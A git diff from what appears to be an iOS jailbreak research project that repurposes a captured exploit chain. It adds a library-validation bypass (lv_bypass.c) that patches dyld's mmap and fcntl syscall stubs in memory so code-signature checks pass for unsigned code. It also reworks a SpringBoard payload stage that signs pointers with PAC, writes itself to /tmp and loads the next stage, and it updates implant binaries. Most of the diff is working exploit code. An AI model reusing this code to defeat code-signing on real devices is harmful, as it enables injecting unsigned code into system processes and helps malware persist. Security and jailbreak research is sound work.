diff --git a/ANALYSIS.md b/ANALYSIS.md index 15e3adf..c6bc24f 100644 --- a/ANALYSIS.md +++ b/ANALYSIS.md @@ -173,9 +173,9 @@ coruna-main/ ├── 7a7d...payload # Decrypted manifest (F00DBEEF with 19 download entries) ├── .bin # F00DBEEF container └── / # Extracted entries per container - ├── entry0_type0x08.dylib # powerd implant? + ├── entry0_type0x08.dylib # Kernel exploit runner -> powerd injector ├── entry1_type0x09.dylib # Kernel exploit <- what jailbreak developers are most interested in - ├── entry2_type0x0f.dylib # Persistence? + ├── entry2_type0x0f.dylib # powerd implant, repurposed for SpringBoard ├── entry3_type0x07.bin └── ... ``` diff --git a/SpringBoardTweak/Makefile b/SpringBoardTweak/Makefile index d321fb0..63e7c02 100644 --- a/SpringBoardTweak/Makefile +++ b/SpringBoardTweak/Makefile @@ -8,7 +8,7 @@ include $(THEOS)/makefiles/common.mk LIBRARY_NAME = SpringBoardTweak -SpringBoardTweak_FILES = SpringBoardTweak.m +SpringBoardTweak_FILES = SpringBoardTweak.m lv_bypass.c SpringBoardTweak_CFLAGS = -fno-objc-arc SpringBoardTweak_INSTALL_PATH = /usr/local/lib diff --git a/SpringBoardTweak/SpringBoardTweak.m b/SpringBoardTweak/SpringBoardTweak.m index bf69b4d..f37f834 100644 --- a/SpringBoardTweak/SpringBoardTweak.m +++ b/SpringBoardTweak/SpringBoardTweak.m @@ -1,217 +1,105 @@ @import Darwin; @import MachO; @import UIKit; +#include /* _mh_dylib_header */ -#define FIX_SELECTOR(sel) *(&@selector(sel)) = (SEL)sel_registerName(#sel) +// Function pointers +extern pthread_t pthread_main_thread_np(void); +extern void _pthread_set_self(pthread_t p); +void (*_abort)(void); +int (*_close)(int); +void * (*_dlsym)(void *, const char *); +thread_t (*_mach_thread_self)(void); +int (*_open)(const char *, int, ...); +void (*__pthread_set_self)(pthread_t p); +pthread_t (*_pthread_main_thread_np)(void); +int (*_strncmp)(const char *s1, const char *s2, size_t n); +kern_return_t (*_thread_terminate)(mach_port_t); +int (*_write)(int, const void *, size_t); -void payload_entry(void *arg) { - dispatch_async(dispatch_get_main_queue(), ^{ - // see if JIT works -// void* jit = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); -// if(jit == MAP_FAILED) { -// abort(); -// } -// *((uint32_t*)jit) = 0xd2800000; // mov w0, #0 -// *((uint32_t*)jit + 1) = 0xd65f03c0; // ret -// mprotect(jit, 0x1000, PROT_READ | PROT_EXEC); -// ((int(*)())jit)(); - - // fix selectors - FIX_SELECTOR(alertControllerWithTitle:message:preferredStyle:); - FIX_SELECTOR(addAction:); - FIX_SELECTOR(actionWithTitle:style:handler:); - FIX_SELECTOR(presentViewController:animated:completion:); - FIX_SELECTOR(sharedApplication); - FIX_SELECTOR(keyWindow); - FIX_SELECTOR(rootViewController); - - UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Coruna" message:@"SpringBoard is pwned." preferredStyle:UIAlertControllerStyleAlert]; - [alert addAction:[UIAlertAction actionWithTitle:@"Install TrollStore Helper (ETA SON?)" style:UIAlertActionStyleDefault handler:nil]]; - [alert addAction:[UIAlertAction actionWithTitle:@"Respring" style:UIAlertActionStyleDefault handler:^(id action){ - exit(0); - }]]; - [alert addAction:[UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleDefault handler:nil]]; - [[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:alert animated:YES completion:nil]; - }); - - // infinite loop - CFRunLoopRun(); +int shellcode_init(void * (*_dlsym)(void* handle, const char* symbol), const char *next_stage_dylib_path); + +static uintptr_t _get_text_vmaddr(const struct mach_header_64 *mh) { + struct load_command *lc = (void*)((uintptr_t)mh + sizeof(struct mach_header_64)); + for (uint32_t i = 0; i < mh->ncmds; i++, lc = (void*)((uint8_t*)lc + lc->cmdsize)) { + if (lc->cmd != LC_SEGMENT_64) continue; + struct segment_command_64 *seg = (void*)lc; + if (_strncmp(seg->segname, "__TEXT", 6) == 0) + return seg->vmaddr; + } + return 0; +} +static size_t macho_size_from_header(const struct mach_header_64 *mh) { + uintptr_t base = (uintptr_t)mh; + uintptr_t text_vm = _get_text_vmaddr(mh); + uintptr_t slide = base - text_vm; // ASLR slide + + struct load_command *lc = (void*)(base + sizeof(struct mach_header_64)); + for (uint32_t i = 0; i < mh->ncmds; i++, lc = (void*)((uint8_t*)lc + lc->cmdsize)) { + if (lc->cmd != LC_SEGMENT_64) continue; + struct segment_command_64 *seg = (void*)lc; + if (_strncmp(seg->segname, "__LINKEDIT", 10) != 0) continue; + + // vmaddr + slide = actual mapped address of __LINKEDIT + // end = that + vmsize + return (seg->vmaddr + slide + seg->vmsize) - base; + } + + return 0; } -// opainject: set TLS to main thread -void _pthread_set_self(pthread_t p); -pthread_t pthread_main_thread_np(void); +const char *save_myself(void) { + const char *path = "/tmp/SpringBoardTweak.dylib"; + const struct mach_header_64 *header = (struct mach_header_64 *)&_mh_dylib_header; + size_t size = macho_size_from_header(header); + int fd = _open(path, O_RDWR | O_CREAT | O_TRUNC, 0755); + if (fd < 0) _abort(); + + if (_write(fd, header, size) != size) { + _abort(); + } + _close(fd); + return path; +} -__attribute__((noinline)) -void *pacia(void* ptr, uint64_t ctx) { #if __arm64e__ +__attribute__((noinline)) void *pacia(void* ptr, uint64_t ctx) { __asm__("xpaci %[value]\n" : [value] "+r"(ptr)); __asm__("pacia %0, %1" : "+r"(ptr) : "r"(ctx)); -#endif return ptr; } - -#if __arm64e__ -#include -#include -#include -#include -#include -#include - -// Fixup chain pointer format for ARM64E authenticated pointers -typedef struct { - uint64_t target : 32; // runtimeOffset from image base - uint64_t high8 : 8; - uint64_t diversity: 16; // per-location discriminator - uint64_t addrDiv : 1; // address diversity flag - uint64_t key : 2; // ptrauth key (IA=0 IB=1 DA=2 DB=3) - uint64_t next : 4; - uint64_t bind : 1; // 0=rebase 1=bind - uint64_t auth : 1; // must be 1 -} dyld_chained_ptr_arm64e_auth_rebase; - -void resign_auth_got(const struct mach_header_64 *targetHeader) { - size_t (*pac_strlcpy)(char *dst, const char *src, size_t size) = pacia(strlcpy, 0); - int (*pac_strncmp)(const char *s1, const char *s2, size_t n) = pacia(strncmp, 0); - int (*pac_strcmp)(const char *s1, const char *s2) = pacia(strcmp, 0); - uint8_t *(*pac_getsectiondata)(const struct mach_header_64 *mh, const char *segname, const char *sectname, unsigned long *size) = pacia(getsectiondata, 0); - kern_return_t (*pac_vm_protect)(vm_map_t target_task, vm_address_t address, vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection) = pacia(vm_protect, 0); - int (*pac_fsync)(int fd) = pacia(fsync, 0); - int (*pac_close)(int fd) = pacia(close, 0); - int (*pac_sleep)(unsigned int seconds) = pacia(sleep, 0); - - int (*pac_open)(const char *path, int oflag, ...) = pacia(open, 0); - void (*pac_dprintf)(int fd, const char *format, ...) = pacia(dprintf, 0); - int fd = pac_open("/tmp/resign.log", O_WRONLY | O_CREAT | O_TRUNC, 0644); - - assert(targetHeader->magic == MH_MAGIC_64); - uintptr_t base = (uintptr_t)targetHeader; - - // Walk load commands to find __AUTH_GOT or __DATA_CONST.__auth_got - struct load_command *lcp = (void *)((uintptr_t)targetHeader + sizeof(struct mach_header_64)); - for(int i = 0; i < targetHeader->ncmds; i++, lcp = (void *)((uintptr_t)lcp + lcp->cmdsize)) { - if (lcp->cmd != LC_SEGMENT_64) continue; - struct segment_command_64 *segCmd = (struct segment_command_64 *)lcp; - if (pac_strncmp(segCmd->segname, "__AUTH_CONST", sizeof(segCmd->segname)) && - pac_strncmp(segCmd->segname, "__DATA_CONST", sizeof(segCmd->segname)) && - pac_strncmp(segCmd->segname, "__DATA", sizeof(segCmd->segname))) continue; - - struct section_64 *sections = (void *)((uintptr_t)lcp + sizeof(struct segment_command_64)); - for (int j = 0; j < segCmd->nsects; j++) { - struct section_64 *section = §ions[i]; - if ((section->flags & SECTION_TYPE) != S_LAZY_SYMBOL_POINTERS && - (section->flags & SECTION_TYPE) != S_NON_LAZY_SYMBOL_POINTERS) continue; - pac_dprintf(fd, "Found section: %s\n", section->sectname); - - char segname[sizeof(section->segname)+1]; - pac_strlcpy(segname, section->segname, sizeof(segname)); - char sectname[sizeof(section->sectname)+1]; - pac_strlcpy(sectname, section->sectname, sizeof(sectname)); - pac_dprintf(fd, "Processing section: %s.%s\n", segname, sectname); - if (pac_strcmp(sectname, "__auth_got")) continue; - - unsigned long sectionSize = 0; - uint8_t *sectionStart = pac_getsectiondata(targetHeader, segname, sectname, §ionSize); - pac_vm_protect(mach_task_self(), (vm_address_t)sectionStart, sectionSize, false, VM_PROT_READ | VM_PROT_WRITE); - void **symbolPointers = (void **)sectionStart; - for (uint32_t i = 0; i < (sectionSize / sizeof(void *)); i++) { - void *symbolPointer = symbolPointers[i]; - if (!symbolPointer) continue; - pac_dprintf(fd, "Original pointer at index %u: %p\n", i, symbolPointer); - symbolPointers[i] = ptrauth_sign_unauthenticated(symbolPointers[i], ptrauth_key_process_independent_code, 0); - } - } - } - - pac_dprintf(fd, "Done processing\n"); - pac_fsync(fd); - pac_close(fd); - -// -// struct load_command *lc = (void*)(base + sizeof(struct mach_header_64)); -// for (uint32_t i = 0; i < mh->ncmds; i++, lc = (void*)((uint8_t*)lc + lc->cmdsize)) { -// if (lc->cmd != LC_SEGMENT_64) continue; -// struct segment_command_64 *seg = (void*)lc; -// -// if (strncmp(segCmd->segname, "__AUTH_CONST", sizeof(segCmd->segname)) && -// strncmp(segCmd->segname, "__DATA_CONST", sizeof(segCmd->segname)) && strncmp(segCmd->segname, "__DATA", sizeof(segCmd->segname)) continue; -// -// struct section_64 *sect = (void*)(seg + 1); -// for (uint32_t j = 0; j < seg->nsects; j++, sect++) { -// -// uint64_t *slot = (uint64_t*)(base + sect->addr); // vm addr relative to base -// // use sect->offset if file-offset needed, but post-load use vmaddr -// slot = (uint64_t*)(sect->addr + (uintptr_t)base - (uintptr_t)mh->reserved /* ASLR slide handled below */); -// -// size_t count = sect->size / sizeof(uint64_t); -// for (size_t k = 0; k < count; k++) { -// uint64_t raw = slot[k]; -// -// // Check if this is still an unresolved auth chain entry -// // auth bit = bit 63, bind bit = bit 62 -// if (!(raw >> 63 & 1)) continue; // not an auth ptr, skip -// -// dyld_chained_ptr_arm64e_auth_rebase *chain = -// (dyld_chained_ptr_arm64e_auth_rebase*)&raw; -// -// if (chain->auth != 1) continue; -// -// // Resolve target address -// uintptr_t target = base + chain->target; -// -// // Build discriminator -// uint64_t disc = chain->diversity; -// if (chain->addrDiv) { -// disc = ptrauth_blend_discriminator(&slot[k], disc); -// } -// -// // Sign with correct key -// void *signed_ptr; -// switch (chain->key) { -// case 0: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asia, disc); break; -// case 1: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asib, disc); break; -// case 2: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asda, disc); break; -// case 3: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asdb, disc); break; -// } -// -// signed_ptr = (void *)0x4141414141414141; // for testing, overwrite with invalid pointer to verify fixup works -// -// // Write back — need __DATA_CONST to be writable first -// vm_protect(mach_task_self(), (vm_address_t)&slot[k], -// sizeof(uint64_t), false, VM_PROT_READ | VM_PROT_WRITE); -// slot[k] = (uint64_t)signed_ptr; -// vm_protect(mach_task_self(), (vm_address_t)&slot[k], -// sizeof(uint64_t), false, VM_PROT_READ); -// } -// } -// } -} #endif -extern const struct mach_header_64 _mh_dylib_header; +// Entry point when loaded by Coruna int last(void) { #if __arm64e__ - pthread_t (*pac_pthread_main_thread_np)(void) = pacia(pthread_main_thread_np, 0); - void (*pac__pthread_set_self)(pthread_t) = pacia(_pthread_set_self, 0); - pac__pthread_set_self(pac_pthread_main_thread_np()); - resign_auth_got(&_mh_dylib_header); + _dlsym = pacia(dlsym, 0); + __pthread_set_self = pacia(_pthread_set_self, 0); + _pthread_main_thread_np = pacia(pthread_main_thread_np, 0); #else - _pthread_set_self(pthread_main_thread_np()); + _dlsym = dlsym; + __pthread_set_self = _pthread_set_self; + _pthread_main_thread_np = pthread_main_thread_np; #endif + __pthread_set_self(_pthread_main_thread_np()); - // create another thread to run the real payload - pthread_t self; - pthread_create(&self, NULL, (void *)payload_entry, NULL); - pthread_join(self, NULL); + _abort = _dlsym(RTLD_DEFAULT, "abort"); + _close = _dlsym(RTLD_DEFAULT, "close"); + _mach_thread_self = _dlsym(RTLD_DEFAULT, "mach_thread_self"); + _open = _dlsym(RTLD_DEFAULT, "open"); + _strncmp = _dlsym(RTLD_DEFAULT, "strncmp"); + _thread_terminate = _dlsym(RTLD_DEFAULT, "thread_terminate"); + _write = _dlsym(RTLD_DEFAULT, "write"); + + // setup dyld validation bypass + const char *path = save_myself(); + shellcode_init(_dlsym, path); // should not return - thread_terminate(mach_thread_self()); + _thread_terminate(_mach_thread_self()); return 0; } - int end(void) { - // should not return - thread_terminate(mach_thread_self()); + // should never be called return 0; } diff --git a/SpringBoardTweak/lv_bypass.c b/SpringBoardTweak/lv_bypass.c new file mode 100644 index 0000000..20ffd3f --- /dev/null +++ b/SpringBoardTweak/lv_bypass.c @@ -0,0 +1,277 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define ASM(...) __asm__(#__VA_ARGS__) +// ldr x8, value; br x8; value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" +static const char patch[] = {0x88,0x00,0x00,0x58,0x00,0x01,0x1f,0xd6,0x1f,0x20,0x03,0xd5,0x1f,0x20,0x03,0xd5,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41}; + +// Signatures to search for +static const char mmapSig[] = {0xB0, 0x18, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4}; +static const char fcntlSig[] = {0x90, 0x0B, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4}; +static const char syscallSig[] = {0x01, 0x10, 0x00, 0xD4}; +static int (*orig_fcntl)(int fildes, int cmd, void *param) = 0; + +static void (*next_exit)(int); +static int (*_printf)(const char *s, ...); +static int (*_mprotect)(void*, size_t, int); +static int (*_munmap)(void*, size_t); +static void* (*__mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset); +static int (*__fcntl)(int fildes, int cmd, void* param); +static void* (*_dlopen)(const char* path, int mode); +const char * (*_dlerror)(void); + +static kern_return_t (*_task_info)(task_name_t target_task, task_flavor_t flavor, + task_info_t task_info_out, + mach_msg_type_number_t *task_info_outCnt); +static mach_port_t _mach_task_self_; + +kern_return_t builtin_vm_protect(mach_port_name_t task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_max, vm_prot_t new_prot); +static void init_bypassDyldLibValidation(void); + +int shellcode_init(void * (*_dlsym)(void* handle, const char* symbol), + const char *next_stage_dylib_path) +{ + _printf = _dlsym(RTLD_DEFAULT, "printf"); + if (!_printf) + return -0x41414141; + + __fcntl = _dlsym(RTLD_DEFAULT, "__fcntl"); + if (!__fcntl) + return -0x41414142; + + __mmap = _dlsym(RTLD_DEFAULT, "__mmap"); + if (!__mmap) + return -0x41414143; + + _task_info = _dlsym(RTLD_DEFAULT, "task_info"); + if (!_task_info) + return -0x41414144; + + mach_port_t *portp = _dlsym(RTLD_DEFAULT, "mach_task_self_"); + if (!portp) + return -0x41414145; + + _mach_task_self_ = *portp; + + _dlopen = _dlsym(RTLD_DEFAULT, "dlopen"); + if (!_dlopen) + return -0x41414146; + + _dlerror = _dlsym(RTLD_DEFAULT, "dlerror"); + if (!_dlerror) + return -0x41414147; + + _munmap = _dlsym(RTLD_DEFAULT, "munmap"); + if (!_dlerror) + return -0x41414148; + + _mprotect = _dlsym(RTLD_DEFAULT, "mprotect"); + if (!_dlerror) + return -0x41414149; + + next_exit = _dlsym(RTLD_DEFAULT, "exit"); + if (!next_exit) + return -0x41414150; + + init_bypassDyldLibValidation(); + + _printf("[DyldLVBypass] dlopen %s\n", next_stage_dylib_path); + + void *next_stage = _dlopen(next_stage_dylib_path, RTLD_NOW); + if (!next_stage) { + _printf("%s\n", _dlerror()); + return -0x41414160; + } + + _printf("[DyldLVBypass] dlopen OK\n", next_stage_dylib_path); + + int (*next_stage_main)() = _dlsym(next_stage, "next_stage_main"); + if (!next_stage_main) { + _printf("%s\n", _dlerror()); + return -0x41414161; + } + +// _printf("[DyldLVBypass] jumping to next stage\n", next_stage_dylib_path); +// next_exit(next_stage_main()); + + return 0; +} + +static int builtin_memcmp(const void *s1, const void *s2, size_t n) +{ + const unsigned char *p1 = (const unsigned char *)s1; + const unsigned char *p2 = (const unsigned char *)s2; + + while (n--) { + if (*p1 != *p2) { + return *p1 - *p2; + } + + ++p1; + ++p2; + } + + return 0; +} + +static struct dyld_all_image_infos *_alt_dyld_get_all_image_infos(void) { + static struct dyld_all_image_infos *result; + if (result) { + return result; + } + struct task_dyld_info dyld_info; + mach_vm_address_t image_infos; + mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; + kern_return_t ret; + ret = _task_info(_mach_task_self_, + TASK_DYLD_INFO, + (task_info_t)&dyld_info, + &count); + if (ret != KERN_SUCCESS) { + return NULL; + } + image_infos = dyld_info.all_image_info_addr; + result = (struct dyld_all_image_infos *)image_infos; + return result; +} + +// Since we're patching libsystem_kernel, we must avoid calling to its functions +static void builtin_memcpy(char *target, const char *source, size_t size) { + for (int i = 0; i < size; i++) { + target[i] = source[i]; + } +} + +// Originated from _kernelrpc_mach_vm_protect_trap +ASM( +.global _builtin_vm_protect \n +_builtin_vm_protect: \n + mov x16, #-0xe \n + svc #0x80 \n + ret +); + +static bool redirectFunction(char *name, void *patchAddr, void *target) { + kern_return_t kret = builtin_vm_protect(_mach_task_self_, (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY); + if (kret != KERN_SUCCESS) { + _printf("[DyldLVBypass] vm_protect(RW) fails at line %d\n", __LINE__); + return FALSE; + } + + builtin_memcpy((char *)patchAddr, patch, sizeof(patch)); +#if __arm64e__ + *(void **)((char*)patchAddr + 16) = __builtin_ptrauth_strip(target, 0); +#else + *(void **)((char*)patchAddr + 16) = target; +#endif + + kret = builtin_vm_protect(_mach_task_self_, (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC); + if (kret != KERN_SUCCESS) { + _printf("[DyldLVBypass] vm_protect(RX) fails at line %d", __LINE__); + return FALSE; + } + + _printf("[DyldLVBypass] hook %s(%p) succeed!\n", name, patchAddr); + return TRUE; +} + +static bool searchAndPatch(char *name, char *base, const char *signature, int length, void *target) { + char *patchAddr = NULL; + for(int i=0; i < 0x80000; i+=4) { + if (base[i] == signature[0] && builtin_memcmp(base+i, signature, length) == 0) { + patchAddr = base + i; + break; + } + } + + if (patchAddr == NULL) { + _printf("[DyldLVBypass] hook %s fails line %d\n", name, __LINE__); + return FALSE; + } + + _printf("[DyldLVBypass] found %s at %p\n", name, patchAddr); + return redirectFunction(name, patchAddr, target); +} + +static void* hooked_mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) { + void *map = __mmap(addr, len, prot, flags, fd, offset); + if (map == MAP_FAILED && fd && (prot & PROT_EXEC)) { + map = __mmap(addr, len, PROT_READ | PROT_WRITE, flags | MAP_PRIVATE | MAP_ANON, 0, 0); + void *memoryLoadedFile = __mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, offset); + builtin_memcpy(map, memoryLoadedFile, len); + _munmap(memoryLoadedFile, len); + _mprotect(map, len, prot); + } + return map; +} + +static int hooked___fcntl(int fildes, int cmd, void *param) { + if (cmd == F_ADDFILESIGS_RETURN) { +#if !(TARGET_OS_MACCATALYST || TARGET_OS_SIMULATOR) + // attempt to attach code signature on iOS only as the binaries may have been signed + // on macOS, attaching on unsigned binaries without CS_DEBUGGED will crash + orig_fcntl(fildes, cmd, param); +#endif + fsignatures_t *fsig = (fsignatures_t*)param; + // called to check that cert covers file.. so we'll make it cover everything ;) + fsig->fs_file_start = 0xFFFFFFFF; + return 0; + } + + // Signature sanity check by dyld + else if (cmd == F_CHECK_LV) { + orig_fcntl(fildes, cmd, param); + // Just say everything is fine + return 0; + } + + // If for another command or file, we pass through + return orig_fcntl(fildes, cmd, param); +} + +static void init_bypassDyldLibValidation(void) { + _printf("[DyldLVBypass] init\n"); + + // Modifying exec page during execution may cause SIGBUS, so ignore it now + // Only comment this out if only one thread (main) is running + //signal(SIGBUS, SIG_IGN); + + orig_fcntl = __fcntl; + char *dyldBase = (char *)_alt_dyld_get_all_image_infos()->dyldImageLoadAddress; + //redirectFunction("mmap", mmap, hooked_mmap); + //redirectFunction("fcntl", fcntl, hooked_fcntl); + searchAndPatch("dyld_mmap", dyldBase, mmapSig, sizeof(mmapSig), hooked_mmap); + bool fcntlPatchSuccess = searchAndPatch("dyld_fcntl", dyldBase, fcntlSig, sizeof(fcntlSig), hooked___fcntl); + + // dopamine already hooked it, try to find its hook instead + if(!fcntlPatchSuccess) { + char* fcntlAddr = 0; + // search all syscalls and see if the the instruction before it is a branch instruction + for(int i=0; i < 0x80000; i+=4) { + if (dyldBase[i] == syscallSig[0] && builtin_memcmp(dyldBase+i, syscallSig, 4) == 0) { + char* syscallAddr = dyldBase + i; + uint32_t* prev = (uint32_t*)(syscallAddr - 4); + if(*prev >> 26 == 0x5) { + fcntlAddr = (char*)prev; + break; + } + } + } + + if(fcntlAddr) { + uint32_t* inst = (uint32_t*)fcntlAddr; + int32_t offset = ((int32_t)((*inst)<<6))>>4; + _printf("[DyldLVBypass] Dopamine hook offset = %x\n", offset); + orig_fcntl = (void*)((char*)fcntlAddr + offset); + redirectFunction("dyld_fcntl (Dopamine)", fcntlAddr, hooked___fcntl); + } else { + _printf("[DyldLVBypass] Dopamine hook not found\n"); + } + } +} diff --git a/payloads/1334417664270db20af705f422878c53c8378203/entry2_type0x0f.dylib b/payloads/1334417664270db20af705f422878c53c8378203/entry2_type0x0f.dylib deleted file mode 120000 index 94a7797..0000000 --- a/payloads/1334417664270db20af705f422878c53c8378203/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64e.dylib \ No newline at end of file diff --git a/payloads/1b2cbbde08f8b2330b7400abcb97c9573973e942/entry2_type0x0f.dylib b/payloads/1b2cbbde08f8b2330b7400abcb97c9573973e942/entry2_type0x0f.dylib deleted file mode 120000 index 94a7797..0000000 --- a/payloads/1b2cbbde08f8b2330b7400abcb97c9573973e942/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64e.dylib \ No newline at end of file diff --git a/payloads/1b2cbbde08f8b2330b7400abcb97c9573973e942/entry4_type0x0a.dylib b/payloads/1b2cbbde08f8b2330b7400abcb97c9573973e942/entry4_type0x0a.dylib index 8868ec4..f53bc3d 100644 Binary files a/payloads/1b2cbbde08f8b2330b7400abcb97c9573973e942/entry4_type0x0a.dylib and b/payloads/1b2cbbde08f8b2330b7400abcb97c9573973e942/entry4_type0x0a.dylib differ diff --git a/payloads/226cbd845c5f470075505392be8693ec6d4f5ba3/entry2_type0x0f.dylib b/payloads/226cbd845c5f470075505392be8693ec6d4f5ba3/entry2_type0x0f.dylib deleted file mode 120000 index 65a3516..0000000 --- a/payloads/226cbd845c5f470075505392be8693ec6d4f5ba3/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64.dylib \ No newline at end of file diff --git a/payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry2_type0x0f.dylib b/payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry2_type0x0f.dylib deleted file mode 120000 index 94a7797..0000000 --- a/payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64e.dylib \ No newline at end of file diff --git a/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry2_type0x0f.dylib b/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry2_type0x0f.dylib deleted file mode 120000 index 65a3516..0000000 --- a/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64.dylib \ No newline at end of file diff --git a/payloads/4800048658463f971e752ff93c1767e9ae7f3431/entry2_type0x0f.dylib b/payloads/4800048658463f971e752ff93c1767e9ae7f3431/entry2_type0x0f.dylib deleted file mode 120000 index 65a3516..0000000 --- a/payloads/4800048658463f971e752ff93c1767e9ae7f3431/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64.dylib \ No newline at end of file diff --git a/payloads/5258f6e3eef3eda249179aa1122b50b03cbeea18/entry2_type0x0f.dylib b/payloads/5258f6e3eef3eda249179aa1122b50b03cbeea18/entry2_type0x0f.dylib deleted file mode 120000 index 65a3516..0000000 --- a/payloads/5258f6e3eef3eda249179aa1122b50b03cbeea18/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64.dylib \ No newline at end of file diff --git a/payloads/7a1cef00016b950be42f5288ead21fa6fccc3107/entry2_type0x0f.dylib b/payloads/7a1cef00016b950be42f5288ead21fa6fccc3107/entry2_type0x0f.dylib deleted file mode 120000 index 65a3516..0000000 --- a/payloads/7a1cef00016b950be42f5288ead21fa6fccc3107/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64.dylib \ No newline at end of file diff --git a/payloads/a78a94196b5d2c95865f6a8423a6b8eb86d07c6c/entry2_type0x0f.dylib b/payloads/a78a94196b5d2c95865f6a8423a6b8eb86d07c6c/entry2_type0x0f.dylib deleted file mode 120000 index 94a7797..0000000 --- a/payloads/a78a94196b5d2c95865f6a8423a6b8eb86d07c6c/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64e.dylib \ No newline at end of file diff --git a/payloads/ae7efd66ecde9e964cfe92f64e9b6461fce38f28/entry2_type0x0f.dylib b/payloads/ae7efd66ecde9e964cfe92f64e9b6461fce38f28/entry2_type0x0f.dylib deleted file mode 120000 index 94a7797..0000000 --- a/payloads/ae7efd66ecde9e964cfe92f64e9b6461fce38f28/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64e.dylib \ No newline at end of file diff --git a/payloads/b442ab113b829ff8c7bf34afa4d2d997889f308f/entry2_type0x0f.dylib b/payloads/b442ab113b829ff8c7bf34afa4d2d997889f308f/entry2_type0x0f.dylib deleted file mode 120000 index 94a7797..0000000 --- a/payloads/b442ab113b829ff8c7bf34afa4d2d997889f308f/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64e.dylib \ No newline at end of file diff --git a/payloads/c8a14d79a27953242d60243ee2f505a85d9232cc/entry2_type0x0f.dylib b/payloads/c8a14d79a27953242d60243ee2f505a85d9232cc/entry2_type0x0f.dylib deleted file mode 120000 index 94a7797..0000000 --- a/payloads/c8a14d79a27953242d60243ee2f505a85d9232cc/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64e.dylib \ No newline at end of file diff --git a/payloads/c8a14d79a27953242d60243ee2f505a85d9232cc/entry4_type0x0a.dylib b/payloads/c8a14d79a27953242d60243ee2f505a85d9232cc/entry4_type0x0a.dylib index 8868ec4..f53bc3d 100644 Binary files a/payloads/c8a14d79a27953242d60243ee2f505a85d9232cc/entry4_type0x0a.dylib and b/payloads/c8a14d79a27953242d60243ee2f505a85d9232cc/entry4_type0x0a.dylib differ diff --git a/payloads/e9f898587620186e31119fbf32660f26c1e048e0/entry2_type0x0f.dylib b/payloads/e9f898587620186e31119fbf32660f26c1e048e0/entry2_type0x0f.dylib deleted file mode 120000 index 65a3516..0000000 --- a/payloads/e9f898587620186e31119fbf32660f26c1e048e0/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64.dylib \ No newline at end of file diff --git a/payloads/e9f898587620186e31119fbf32660f26c1e048e0/entry4_type0x0a.dylib b/payloads/e9f898587620186e31119fbf32660f26c1e048e0/entry4_type0x0a.dylib index 7eea877..5fa390b 100644 Binary files a/payloads/e9f898587620186e31119fbf32660f26c1e048e0/entry4_type0x0a.dylib and b/payloads/e9f898587620186e31119fbf32660f26c1e048e0/entry4_type0x0a.dylib differ diff --git a/payloads/f4120dc6717a489435d86943472c5a2444aac8e6/entry2_type0x0f.dylib b/payloads/f4120dc6717a489435d86943472c5a2444aac8e6/entry2_type0x0f.dylib deleted file mode 120000 index 94a7797..0000000 --- a/payloads/f4120dc6717a489435d86943472c5a2444aac8e6/entry2_type0x0f.dylib +++ /dev/null @@ -1 +0,0 @@ -../entry2_type0x0f_arm64e.dylib \ No newline at end of file diff --git a/payloads/f4120dc6717a489435d86943472c5a2444aac8e6/entry4_type0x0a.dylib b/payloads/f4120dc6717a489435d86943472c5a2444aac8e6/entry4_type0x0a.dylib index 8868ec4..f53bc3d 100644 Binary files a/payloads/f4120dc6717a489435d86943472c5a2444aac8e6/entry4_type0x0a.dylib and b/payloads/f4120dc6717a489435d86943472c5a2444aac8e6/entry4_type0x0a.dylib differ